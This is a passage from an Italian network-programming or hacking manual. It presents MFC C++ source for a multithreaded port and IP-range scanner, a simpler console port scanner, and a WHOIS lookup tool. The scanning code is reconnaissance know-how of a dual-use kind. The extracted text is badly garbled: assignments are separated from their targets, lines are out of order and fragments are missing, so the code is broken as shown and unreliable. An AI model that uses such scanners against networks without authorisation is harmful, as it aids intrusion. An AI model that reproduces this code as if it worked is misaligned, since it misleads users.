// now, as long as there are alternates, add them to the 'm_aAlternates' array for(i1=1; pH->h_addr_list[i1]; i1++) { SOCKADDR_IN sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = sin_family; sa.sin_port = sin_port; if(pH->h_length >= 1) sa.sin_addr.S_un.S_un_b.s_b1 if(pH->h_length >= 2) sa.sin_addr.S_un.S_un_b.s_b2 if(pH->h_length >= 3) sa.sin_addr.S_un.S_un_b.s_b3 if(pH->h_length >= 4) sa.sin_addr.S_un.S_un_b.s_b4 = pH->h_addr_list[i1][0]; = pH->h_addr_list[i1][1]; = pH->h_addr_list[i1][2]; = pH->h_addr_list[i1][3];
if(sa.sin_addr.S_un.S_addr != sin_addr.S_un.S_addr) // do they match? m_aAlternates.Add(sa); // it not, go ahead and add it (make sure I don't duplicate) } } m_bIsValid = TRUE; // if I get here, it worked ok
CInetAddress::~CInetAddress() { } SOCKADDR_IN CInetAddress::operator [] (int iIndex) { if(!iIndex) { return((SOCKADDR_IN)*this); } if(iIndex < 0 || iIndex > m_aAlternates.GetSize()) { SOCKADDR_IN sa; memset(&sa, 0, sizeof(sa)); return(sa); } } return(m_aAlternates[iIndex - 1]);
// static member "helper" utility functions BOOL CInetAddress::IsAddress(LPCSTR szAddr) { // is address a #.#.#.# or a name? CString csAddr = szAddr; int i1; for(i1=0; i1 < csAddr.GetLength(); i1++) { // TRUE if #.#.#.#; false otherwise
} }
return(i1 >= csAddr.GetLength()); BOOL CInetAddress::GetAddress(LPCSTR szAddr, char cAddr[4]) { LPCSTR lp1 = szAddr; unsigned long aL[4]; cAddr[0] = cAddr[1] = cAddr[2] = cAddr[3] = 0; aL[0] = aL[1] = aL[2] = aL[3] = 0; int i1; for(i1=0; i1 < 4; i1++) { while(*lp1 && *lp1 != '.') { while(*lp1 <= ' ') lp1++; if(*lp1 < '0' || *lp1 > '9') break; aL[i1] *= 10L; aL[i1] += (BYTE)(*lp1 - '0'); } lp1++; // not likely
if(!*lp1) // this means 'good result' { // assume any remaining items are zeros and assign them as such, // unless the address was entered as a non-standard long integer // or "less than 3 dot" address. if(i1 < { aL[1] aL[0] } if(i1 < { aL[2] aL[1] } if(i1 < { aL[3] aL[2] } 1) = aL[0] & 0xffffff; = (aL[0] >> 24) & 0xff; 2) = aL[1] & 0xffff; = (aL[1] >> 16) & 0xff; 3) = aL[2] & 0xff; = (aL[2] >> 8) & 0xff;
} }
return(i1 >= 4); BOOL CInetAddress::IsAddressRange(LPCSTR szAddr) { // is address a #.#.#.# or a name? CString csAddr = szAddr; BOOL bAssToRisk = FALSE; // TRUE if #.#.#.# with '*'
// not likely
} }
La dialog in cui vengono inseriti i dati viene gestita dalla serie di funzioni definite dentro alla classe CportscanDlg.
static CMutex m_Mutex; // for synchronization static CArray<CWinThread *,CWinThread *> m_aThreads; static void AddThread(CWinThread *); static void EndThread(CWinThread *); CFont m_Font; // Dialog Data //{{AFX_DATA(CPortscanDlg) enum { IDD = IDD_PORTSCAN_DIALOG }; CComboBox m_wndThreadCount; CButton m_btnExit; CButton m_btnScan; CButton m_btnHelp; CButton m_btnCancel; CButton m_btnSave; CListBox m_wndList; CString m_csIPPort; int m_iType; CString m_csStatus; int m_iThreadCount; //}}AFX_DATA
// ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CPortscanDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementation protected: HICON m_hIcon; // Generated message map functions //{{AFX_MSG(CPortscanDlg) virtual BOOL OnInitDialog(); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); afx_msg void OnHelp(); afx_msg void OnSave(); virtual void OnOK(); virtual void OnCancel(); afx_msg void OnExit(); afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message); //}}AFX_MSG afx_msg LRESULT OnThreadExit(WPARAM,LPARAM); DECLARE_MESSAGE_MAP() }; //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. #endif // !defined(AFX_PORTSCANDLG_H__8784EA58_6A18_11D2_A3FA_004033901FF3__INCLUDED_)
#ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif //#define THREAD_COUNT 128 /* initially, 128 threads - end-users can change this */ #define THREAD_COUNT (1L << m_iThreadCount) #define WM_THREADEXIT (WM_USER + 123) ///////////////////////////////////////////////////////////////////////////// // CPortscanDlg dialog CMutex CPortscanDlg::m_Mutex(FALSE, "PORTSCANDLG_MUTEX"); // for synchronization CArray<CWinThread *,CWinThread *> CPortscanDlg::m_aThreads; // current array of threads CPortscanDlg::CPortscanDlg(CWnd* pParent /*=NULL*/) : CDialog(CPortscanDlg::IDD, pParent) { //{{AFX_DATA_INIT(CPortscanDlg) m_csIPPort = _T(""); m_iType = -1; m_csStatus = _T(""); m_iThreadCount = -1; //}}AFX_DATA_INIT // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); m_iType = 0; m_iThreadCount = 5; // default is 32 threads
void CPortscanDlg::AddThread(CWinThread *pThread) { CSingleLock lock(&m_Mutex, TRUE); int i1; for(i1=0; i1 < m_aThreads.GetSize(); i1++) { if(m_aThreads[i1] == pThread) { break; } } if(i1 >= m_aThreads.GetSize()) m_aThreads.Add(pThread); } void CPortscanDlg::EndThread(CWinThread *pThread) { CSingleLock lock(&m_Mutex, TRUE); int i1; for(i1=0; i1 < m_aThreads.GetSize(); i1++) { if(m_aThreads[i1] == pThread) { m_aThreads.RemoveAt(i1); break; } } lock.Unlock();
void CPortscanDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CPortscanDlg) DDX_Control(pDX, IDC_THREAD_COUNT, m_wndThreadCount); DDX_Control(pDX, IDC_EXIT, m_btnExit); DDX_Control(pDX, IDOK, m_btnScan); DDX_Control(pDX, IDHELP, m_btnHelp); DDX_Control(pDX, IDCANCEL, m_btnCancel); DDX_Control(pDX, IDC_SAVE, m_btnSave); DDX_Control(pDX, IDC_LIST, m_wndList); DDX_Text(pDX, IDC_IP_PORT, m_csIPPort); DDX_Radio(pDX, IDC_PORT, m_iType); DDX_Text(pDX, IDC_STATUS, m_csStatus); DDX_CBIndex(pDX, IDC_THREAD_COUNT, m_iThreadCount); //}}AFX_DATA_MAP CSingleLock lock(&m_Mutex, TRUE); if(!m_aThreads.GetSize()) { m_btnCancel.EnableWindow(0); m_btnHelp.EnableWindow(1); m_btnSave.EnableWindow(1); m_btnScan.EnableWindow(1); m_btnExit.EnableWindow(1); } else { m_btnHelp.EnableWindow(0); m_btnSave.EnableWindow(0); m_btnScan.EnableWindow(0); } } BEGIN_MESSAGE_MAP(CPortscanDlg, CDialog) //{{AFX_MSG_MAP(CPortscanDlg) ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDHELP, OnHelp) ON_BN_CLICKED(IDC_SAVE, OnSave) ON_BN_CLICKED(IDC_EXIT, OnExit) ON_WM_SETCURSOR() //}}AFX_MSG_MAP ON_MESSAGE(WM_THREADEXIT, OnThreadExit) END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CPortscanDlg message handlers BOOL CPortscanDlg::OnInitDialog() { CDialog::OnInitDialog(); // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon m_Font.CreateFont(HIWORD(GetDialogBaseUnits()), 0, 0, 0, FW_NORMAL, 0, 0, 0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_TT_ALWAYS, DEFAULT_QUALITY, FIXED_PITCH | FF_DONTCARE, "Courier New"); m_wndList.SetFont(&m_Font); return TRUE; // return TRUE unless you set the focus to a control // force it
// If you add a minimize button to your dialog, you will need the code below // to draw the icon. For MFC applications using the document/view model, // this is automatically done for you by the framework. void CPortscanDlg::OnPaint() { if(IsIconic()) { CPaintDC dc(this); // device context for painting SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); // Center icon in client rectangle int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // Draw the icon dc.DrawIcon(x, y, m_hIcon);
} else { } }
CDialog::OnPaint();
BOOL CPortscanDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message) { CSingleLock lock(&m_Mutex, TRUE); if(!m_aThreads.GetSize() || nHitTest != HTCLIENT) { lock.Unlock(); // set to default when no threads running or not in client area return CDialog::OnSetCursor(pWnd, nHitTest, message); } else { lock.Unlock(); SetCursor(::LoadCursor(NULL, IDC_WAIT)); } } // The system calls this to obtain the cursor to display while the user drags // the minimized window. HCURSOR CPortscanDlg::OnQueryDragIcon() { return (HCURSOR) m_hIcon; } void CPortscanDlg::OnHelp() { AfxMessageBox("This application scans for IP addresses listening on a particular port, " "or for listening ports on a particular IP address. It uses multiple " "threads of execution to minimize the time delay. You should have a fast " "internet connection to maximize its effectiveness in the scan.\n" "To scan for listening IP addresses, select 'Scan IP' and enter the " return(TRUE); // set to hourglass
IP "
"cause the numbers in that section to scan for ports from 0 to 255. "can specify multiple asterisks in the address, such as '192.168.*.*'. "A valid entry might be something like '192.168.*.*:80'.\n" "For information on ports, see RFC1700. Commonly used ports are 7
"21 (ftp), 23 (telnet), 25 (smtp), 79 (finger), 80 (http), 110 (pop3), and 139 (netbios).\n" "To scan for listening ports on a single IP, select 'Scan Ports' and " "enter the desired IP address (server address) as a 4-number IP address " "(such as 192.168.0.1) or known server name (such as www.microsoft.com).\n\n" "PLEASE do not ABUSE this application, as it can adversely affect bandwidth.", MB_ICONASTERISK); } void CPortscanDlg::OnSave() { CFileDialog dlg(FALSE); if(dlg.DoModal() == IDOK) { HANDLE hFile = CreateFile(dlg.GetPathName(),GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) { AfxMessageBox("Unable to open desired file"); return; } CString csTemp, csBuf; int i1; for(i1=0; i1 < m_wndList.GetCount(); i1++) { m_wndList.GetText(i1, csTemp); csBuf += csTemp + "\r\n"; } DWORD cb1; if(!WriteFile(hFile, (LPCSTR)csBuf, csBuf.GetLength(), &cb1, NULL) || cb1 != (DWORD)csBuf.GetLength()) { AfxMessageBox("Write error on output file"); } CloseHandle(hFile); } }
void CPortscanDlg::OnOK() { // CDialog::OnOK(); m_wndList.ResetContent(); UpdateData(1); m_btnCancel.EnableWindow(1); m_btnHelp.EnableWindow(0); m_btnSave.EnableWindow(0); m_btnScan.EnableWindow(0); if(m_iType == 0) // I do this MANUALLY before creating threads // disable THESE manually as well
// scan ports for a given IP address // NOTE: if user specifies named address, do a scan for // every IP address. This may requires multiple // sets of threads, but that's not a problem. CInetAddress addr(m_csIPPort,0); // should be an address with no port
if(!addr.IsValid()) { AfxMessageBox("Internet address is not valid"); UpdateData(0); return; } CString csTemp; csTemp.Format(" SCANNING: %03d.%03d.%03d.%03d", (BYTE)addr[0].sin_addr.S_un.S_un_b.s_b1, (BYTE)addr[0].sin_addr.S_un.S_un_b.s_b2, (BYTE)addr[0].sin_addr.S_un.S_un_b.s_b3, (BYTE)addr[0].sin_addr.S_un.S_un_b.s_b4); m_wndList.AddString(csTemp); int i1; if(addr.GetDimensions() > 1) { AfxMessageBox("This address has multiple IP addresses. scanned.");
for(i1=1; i1 < addr.GetDimensions(); i1++) { csTemp.Format(" (alt IP) %03d.%03d.%03d.%03d", (BYTE)addr[i1].sin_addr.S_un.S_un_b.s_b1, (BYTE)addr[i1].sin_addr.S_un.S_un_b.s_b2, (BYTE)addr[i1].sin_addr.S_un.S_un_b.s_b3, (BYTE)addr[i1].sin_addr.S_un.S_un_b.s_b4); m_wndList.AddString(csTemp); } }
// spawn 'THREAD_COUNT' threads CWaitCursor wait; for(i1=0; i1 < THREAD_COUNT; i1++) { csTemp.Format("%d", i1); SetDlgItemText(IDC_STATUS, csTemp); CSockThread *pT = (CSockThread *)AfxBeginThread(RUNTIME_CLASS(CSockThread), THREAD_PRIORITY_NORMAL - 1, 0, CREATE_SUSPENDED); if(!pT) { AfxMessageBox("ERROR: unable to create enough threads to complete task.\n" "Select a smaller number of threads before trying again."); OnCancel(); return; } pT->m_aIP[0] pT->m_aIP[1] pT->m_aIP[2] pT->m_aIP[3] = = = = addr.sin_addr.S_un.S_un_b.s_b1; addr.sin_addr.S_un.S_un_b.s_b2; addr.sin_addr.S_un.S_un_b.s_b3; addr.sin_addr.S_un.S_un_b.s_b4;
pT->m_iIncr = THREAD_COUNT; pT->m_iMask = i1; pT->m_iPort = -1; // scan all of them pT->ResumeThread(); }
if(i1 >= 0) { iPort = atoi(csIP.Mid(i1 + 1)); csIP = csIP.Left(i1); csIP.TrimRight(); } int aIP[4]; if(!csIP.GetLength() || (!CInetAddress::IsAddress(csIP) && !CInetAddress::IsAddressRange(csIP)) || !CInetAddress::GetAddressRange(csIP, aIP)) { AfxMessageBox("You must enter a valid IP address, substituting '*' for " "those portions that you want to scan, and specify an optional " "port number, in a format as follows:\n" "192.168.0.*:80\n" "The above IP address and port will scan all addresses between " "192.168.0.0 and 192.168.0.255 for port 80."); UpdateData(0); return;
int iThreadCount = THREAD_COUNT; if(iThreadCount > 256) { // can't have more than 256 AfxMessageBox("WARNING: Algorithm limits this scan to 256 threads maximum", MB_ICONASTERISK); iThreadCount = 256; } // spawn 'THREAD_COUNT' threads CWaitCursor wait; CString csTemp; csTemp.Format(" SCANNING: %s for port %d", (LPCSTR)csIP, iPort); m_wndList.AddString(csTemp); for(i1=0; i1 < iThreadCount; i1++) { csTemp.Format("%d", i1); SetDlgItemText(IDC_STATUS, csTemp); CSockThread *pT = (CSockThread *)AfxBeginThread(RUNTIME_CLASS(CSockThread), THREAD_PRIORITY_NORMAL - 1, 0, CREATE_SUSPENDED); if(!pT) { AfxMessageBox("ERROR: unable to create enough threads to complete task.\n" "Select a smaller number of threads before trying again."); OnCancel(); return; } pT->m_aIP[0] = aIP[0];
Come avevamo detto allinizio il programma permette di attivare pi THREAD e questi vengono gestiti da un apposita classe.
#if !defined(AFX_SOCKTHREAD_H__4F7ACBD4_6D0B_11D2_A3FC_004033901FF3__INCLUDED_) #define AFX_SOCKTHREAD_H__4F7ACBD4_6D0B_11D2_A3FC_004033901FF3__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000
///////////////////////////////////////////////////////////////////////////// // CSockThread thread class CSockThread : public CWinThread { DECLARE_DYNCREATE(CSockThread) protected: CSockThread(); // protected constructor used by dynamic creation // Attributes public: int int int int m_aIP[4]; m_iPort; m_iMask; m_iIncr; // // // // the the the the IP address to scan (-1 scans a range) port to scan (-1 scans all) 'mask' value for this thread 'increment' value for this thread
///////////////////////////////////////////////////////////////////////////// //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. #endif // !defined(AFX_SOCKTHREAD_H__4F7ACBD4_6D0B_11D2_A3FC_004033901FF3__INCLUDED_)
#ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif // bug fixes - from SOCKCORE.CPP #define _afxSockThreadState AfxGetModuleThreadState() #define _AFX_SOCK_THREAD_STATE AFX_MODULE_THREAD_STATE ///////////////////////////////////////////////////////////////////////////// // CSockThread IMPLEMENT_DYNCREATE(CSockThread, CWinThread) CSockThread::CSockThread() { } CSockThread::~CSockThread() { } BOOL CSockThread::InitInstance() { // // // // if(!AfxSocketInit()) { return(FALSE); } // initialize Winsock library (from AfxSocketInit - bug, must inline it here) WSADATA wsaData; WORD wVersionRequested = MAKEWORD(1, 1); int nResult = WSAStartup(wVersionRequested, &wsaData); if (nResult != 0) return FALSE;
int CSockThread::ExitInstance() { return CWinThread::ExitInstance(); } BEGIN_MESSAGE_MAP(CSockThread, CWinThread) //{{AFX_MSG_MAP(CSockThread) // NOTE - the ClassWizard will add and remove mapping macros here. //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CSockThread message handlers class CScanThreadClass { public: CScanThreadClass() { m_bQuit = FALSE; CPortscanDlg::AddThread(AfxGetThread()); } ~CScanThreadClass() { CPortscanDlg::EndThread(AfxGetThread()); } BOOL KeepRunning() { MSG msg; if(m_bQuit) return(FALSE); if(::PeekMessage(&msg, NULL, WM_QUIT, WM_QUIT, PM_REMOVE)) { m_bQuit = TRUE; return(FALSE); } return(TRUE); } protected: }; BOOL m_bQuit;
UINT CSockThread::ScanThreadProc() { CScanThreadClass stc; // auto-registers me with dialog box, helps kill thread // CSocket sock; SOCKET s = socket(PF_INET, SOCK_STREAM, 0); // that's the way MFC does it
if(s == INVALID_SOCKET) { AfxMessageBox("SOCKET limit reached - cannot create new socket.\r\n" "Reduce the maximum # of threads by changing the THREAD_COUNT " "define in 'portscandlg.cpp' and re-compile."); } return(-1);
int i1, i2, i3, i4, i5; int iSockIncr1 = 1, iSockIncr2 = 1, iSockIncr3 = 1, iSockIncr4 = 1; int iSockStart1 = 0, iSockStart2 = 0, iSockStart3 = 0, iSockStart4 = 0; BOOL bScanPort = TRUE;
for(i1 = (m_aIP[0] >= 0 ? m_aIP[0] : iSockStart1); stc.KeepRunning() && i1 < 256 && (i1 == m_aIP[0] || m_aIP[0] < 0); i1 += iSockIncr1) { for(i2 = (m_aIP[1] >= 0 ? m_aIP[1] : iSockStart2); stc.KeepRunning() && i2 < 256 && (i2 == m_aIP[1] || m_aIP[1] < 0); i2 += iSockIncr2) { for(i3 = (m_aIP[2] >= 0 ? m_aIP[2] : iSockStart3); stc.KeepRunning() && i3 < 256 && (i3 == m_aIP[2] || m_aIP[2] < 0); i3 += iSockIncr3) { for(i4 = (m_aIP[3] >= 0 ? m_aIP[3] : iSockStart4); stc.KeepRunning() && i4 < 256 && (i4 == m_aIP[3] || m_aIP[3] < 0); i4 += iSockIncr4) { for(i5 = (m_iPort >= 0 ? m_iPort : m_iMask); stc.KeepRunning() && i5 < 65536 && (i5 == m_iPort || m_iPort < 0); i5 += m_iIncr) { CString csTemp, csTemp2; if(bScanPort) { csTemp.Format("%d", i5); } else { csTemp.Format("%d.%d.%d.%d", i1, i2, i3, i4); } ::SetDlgItemText(theApp.m_pMainWnd->GetSafeHwnd(), IDC_STATUS, (LPCSTR)csTemp); // here's where the fun begins SOCKADDR_IN sa; memset(&sa, 0, sizeof(sa)); sa.sin_port = htons(i5);
if(!connect(s, (SOCKADDR *)&sa, sizeof(sa))) if(sock.Connect((SOCKADDR *)&sa, sizeof(sa))) { if(bScanIP) { csTemp.Format("%03d.%03d.%03d.%03d", i1, i2, i3, i4); if(bScanPort) csTemp += " } else { csTemp = ""; } if(bScanPort) { csTemp2.Format("%6d", i5); ";
servent *lpS = getservbyport(htons(i5), NULL); if(lpS && lpS->s_name) csTemp2 += " " + (CString)lpS->s_name; else if(i5 == 7) csTemp2 += " echo"; else if(i5 == 9) csTemp2 += " discard"; else if(i5 == 13) csTemp2 += " daytime"; else if(i5 == 17) csTemp2 += " qotd"; else if(i5 == 19) csTemp2 += " chargen"; else if(i5 == 21) csTemp2 += " ftp"; else if(i5 == 22) csTemp2 += " erm"; else if(i5 == 23) csTemp2 += " telnet"; else if(i5 == 25) csTemp2 += " smtp"; else if(i5 == 79) csTemp2 += " finger"; else if(i5 == 80) csTemp2 += " www-http"; else if(i5 == 110) csTemp2 += " pop3"; else if(i5 == 119) csTemp2 += " nntp"; else if(i5 == 135) csTemp2 += " loc-srv"; else if(i5 == 139) csTemp2 += " nbsession"; else if(i5 == 443) csTemp2 += " https"; else if(i5 == 569) csTemp2 += " MSN"; else if(i5 == 1080) csTemp2 += " socks"; } else { csTemp2 = ""; } csTemp += csTemp2; TRACE0(csTemp + "\r\n"); ::SendDlgItemMessage(theApp.m_pMainWnd->GetSafeHwnd(),
THREAD_COUNT "
Sulla rete disponibile una serie di scanner tra i quali non esiste che limbarazzo della scelta tra cui molti ce dispongono di funzioni anche molto complesse atte ad identificare altri particolari. Un altro sergente legato alla funzione di portascanner creabile in modo pi semplice il seguente :
#include <windows.h> #include <stdio.h> void main( int argc, char *argv[ ], char *envp[ ] ) { if ( (argc < 2) || (argc>4) ) { printf("Usage: scanip <ip_addr> [<start_port> [<stop_port>]]\n"); return; } if (sizeof(argv[1])>255) { printf("invalid ip address.\n"); return; } char ipAddr[15]; char hostName[255]; int hnLength=0; struct hostent *heHost=NULL; u_long iaIP; wsprintf(ipAddr,"%s",argv[1]); iaIP=inet_addr(ipAddr); if (iaIP==INADDR_NONE) { hnLength=0; while(argv[1][hnLength]!='\0') { hostName[hnLength]=argv[1][hnLength]; hnLength++; } hostName[hnLength]='\0'; printf("Not an ip, possible is a host name: %s, unsupported yet.\n",hostName); return;
int startPort=0; if (argc>2) startPort=atoi(argv[2]); printf("Scanning From: %d ",startPort); int stopPort=0xFFFF; if (argc>3) stopPort=atoi(argv[3]); printf("To: %d\n",stopPort); WSADATA dWSAData; dWSAData.wVersion=0; int tstResult; if ((tstResult=WSAStartup(0x0201,&dWSAData))!=0) { printf("WSAStartup failed %d...",tstResult); return; } SOCKET struct sockaddr_in struct sockaddr_in tstSocket; sinLocale; sinRemote;
tstSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (tstSocket==INVALID_SOCKET) { printf("Error when create socket...\n"); return; } sinLocale.sin_addr.s_addr = htonl (INADDR_ANY); sinLocale.sin_family=AF_INET; if (bind (tstSocket, (const struct sockaddr FAR *)&sinLocale, sizeof(sinLocale))==SOCKET_ERROR) { closesocket(tstSocket); printf("Error when bind socket...\n"); return; } sinRemote.sin_addr.S_un.S_addr=iaIP; sinRemote.sin_family=AF_INET; struct fd_set fdSet; struct timeval tmvTimeout={0L,0L}; FD_ZERO(&fdSet); FD_SET(tstSocket, &fdSet); tstResult=select(0,&fdSet,NULL,NULL,&tmvTimeout); while (startPort<=stopPort) { sinRemote.sin_port=htons(startPort); printf("Try connected to: %s:%d",argv[1],startPort); tstResult=connect(tstSocket, (const struct sockaddr FAR *)&sinRemote, sizeof(sinRemote)); if (tstResult!=SOCKET_ERROR)
} startPort++;
tstResult=WSAGetLastError(); switch(tstResult) { case WSANOTINITIALISED: printf(" Fail(WSANOTINITIALISED)\n"); break; case WSAENETDOWN: printf(" Fail(WSAENETDOWN)\n"); break; case WSAEADDRINUSE: printf(" Fail(WSAEADDRINUSE)\n"); break; case WSAEINTR: printf(" Fail(WSAEINTR)\n"); break; case WSAEINPROGRESS: printf(" Fail(WSAEINPROGRESS)\n"); break; case WSAEALREADY: printf(" Fail(WSAEALREADY)\n"); break; case WSAEADDRNOTAVAIL: printf(" Fail(WSAEADDRNOTAVAIL)\n"); break; case WSAEAFNOSUPPORT: printf(" Fail(WSAEAFNOSUPPORT)\n"); break; case WSAECONNREFUSED: printf(" Fail(WSAECONNREFUSED)\n"); break; case WSAEFAULT: printf(" Fail(WSAEFAULT)\n"); break; case WSAEINVAL: printf(" Fail(WSAEINVAL)\n"); break; case WSAEISCONN: printf(" Fail(WSAEISCONN)\n"); break; case WSAENETUNREACH: printf(" Fail(WSAENETUNREACH)\n"); break; case WSAENOBUFS: printf(" Fail(WSAENOBUFS)\n"); break; case WSAENOTSOCK: printf(" Fail(WSAENOTSOCK)\n"); break; case WSAETIMEDOUT: printf(" Fail(WSAETIMEDOUT)\n"); break; case WSAEWOULDBLOCK: printf(" Fail(WSAEWOULDBLOCK)\n"); break; case WSAEACCES: printf(" Fail(WSAEACCES)\n"); break; default: printf(" Fail(%d)\n",tstResult); break; }
WSACleanup(); }
2 TEXTINCLUDE DISCARDABLE BEGIN "#include ""afxres.h""\r\n" "\0" END 3 TEXTINCLUDE DISCARDABLE BEGIN "#define _AFX_NO_SPLITTER_RESOURCES\r\n" "#define _AFX_NO_OLE_RESOURCES\r\n" "#define _AFX_NO_TRACKER_RESOURCES\r\n" "#define _AFX_NO_PROPERTY_RESOURCES\r\n" "\r\n" "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)\r\n" "#ifdef _WIN32\r\n" "LANGUAGE 9, 1\r\n" "#pragma code_page(1252)\r\n" "#endif //_WIN32\r\n" "#include ""res\\WhoIsProcessor.rc2"" // non-Microsoft Visual C++ edited resources\r\n" "#include ""afxres.rc"" // Standard components\r\n" "#endif\r\n" "\0" END #endif // APSTUDIO_INVOKED
///////////////////////////////////////////////////////////////////////////// // // Icon // // Icon with lowest ID value placed first to ensure application icon // remains consistent on all systems. IDR_MAINFRAME ICON DISCARDABLE "res\\WhoIsProcessor.ico" ///////////////////////////////////////////////////////////////////////////// // // Dialog // IDD_ABOUTBOX DIALOG DISCARDABLE 0, 0, 235, 55 STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU CAPTION "About WhoIsProcessor" FONT 8, "MS Sans Serif" BEGIN ICON IDR_MAINFRAME,IDC_STATIC,11,17,20,20 LTEXT "WhoIsProcessor Version 1.0",IDC_STATIC,40,10,119,8, SS_NOPREFIX LTEXT "Copyright (C) 2000, Ed Dixon",IDC_STATIC,40,25,119,8 DEFPUSHBUTTON "OK",IDOK,178,7,50,14,WS_GROUP END IDD_WHOISPROCESSOR_DIALOG DIALOGEX 0, 0, 365, 167 STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU EXSTYLE WS_EX_APPWINDOW CAPTION "WhoIsProcessor" FONT 8, "MS Sans Serif" BEGIN DEFPUSHBUTTON "&Exit",IDOK,322,7,38,14 DEFPUSHBUTTON "&WHOIS",IDC_WHOIS,267,18,36,14 EDITTEXT IDC_WEB_ADDRESS,15,18,243,14,ES_AUTOHSCROLL GROUPBOX "WhoIs Processing",IDC_STATIC,7,3,305,157 EDITTEXT IDC_EDIT_LIST,16,42,287,109,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL END #ifndef _MAC ///////////////////////////////////////////////////////////////////////////// // // Version // VS_VERSION_INFO VERSIONINFO
///////////////////////////////////////////////////////////////////////////// // // DESIGNINFO // #ifdef APSTUDIO_INVOKED GUIDELINES DESIGNINFO DISCARDABLE BEGIN IDD_ABOUTBOX, DIALOG BEGIN LEFTMARGIN, 7 RIGHTMARGIN, 228 TOPMARGIN, 7 BOTTOMMARGIN, 48 END IDD_WHOISPROCESSOR_DIALOG, DIALOG BEGIN LEFTMARGIN, 7 RIGHTMARGIN, 358 TOPMARGIN, 7 BOTTOMMARGIN, 160 END // APSTUDIO_INVOKED
END #endif
///////////////////////////////////////////////////////////////////////////// // // String Table // STRINGTABLE DISCARDABLE BEGIN IDS_ABOUTBOX "&About WhoIsProcessor..." IDP_SOCKETS_INIT_FAILED "Windows sockets initialization failed." END #endif // English (U.S.) resources /////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // Generated from the TEXTINCLUDE 3 resource. // #define _AFX_NO_SPLITTER_RESOURCES #define _AFX_NO_OLE_RESOURCES #define _AFX_NO_TRACKER_RESOURCES #define _AFX_NO_PROPERTY_RESOURCES #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) #ifdef _WIN32 LANGUAGE 9, 1 #pragma code_page(1252) #endif //_WIN32 #include "res\WhoIsProcessor.rc2" // non-Microsoft Visual C++ edited resources #include "afxres.rc" // Standard components #endif ///////////////////////////////////////////////////////////////////////////// #endif // not APSTUDIO_INVOKED
Le funzioni di base legate al WhoIs sono definite dentro ai seguenti files. Il primo si chiama WhoIsClass.h
class CWhoIsClass { public: // Constructors / Destructors CWhoIsClass(); ~CWhoIsClass(); // Routines CString WhoIs(LPCSTR szAddress); void SetWhoIsServer(LPCSTR szServerName);
protected: CString GetIpFromHost(LPCSTR szHostName); // Variables int CString CString m_iWhoIsPort; m_szWhoIsServer; m_szWhoIsServerIP;
};
// // IP for default
//
// //
// //
//
// } // // }
CString CWhoIsClass::GetIpFromHost(LPCSTR szHostName) { int i,j; CString szResult = ""; // Convert host name to IP address hostent* pHost = gethostbyname(szHostName); for(i = 0; pHost!= NULL && pHost->h_addr_list[i]!= NULL; i++) { for(j = 0; j < pHost->h_length; j++) { CString addr; if(j > 0) szResult += "."; >h_addr_list[i])[j]); addr.Format("%u", (unsigned int)((unsigned char*)pHostszResult += addr;
} }
return szResult;
// standard constructor
///////////////////////////////////////////////////////////////////////////// // CAboutDlg dialog used for App About class CAboutDlg : public CDialog { public: CAboutDlg(); // Dialog Data //{{AFX_DATA(CAboutDlg) enum { IDD = IDD_ABOUTBOX }; //}}AFX_DATA // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CAboutDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementation protected: //{{AFX_MSG(CAboutDlg) //}}AFX_MSG DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) { //{{AFX_DATA_INIT(CAboutDlg) //}}AFX_DATA_INIT } void CAboutDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CAboutDlg) //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) //{{AFX_MSG_MAP(CAboutDlg) // No message handlers //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CWhoIsProcessorDlg dialog 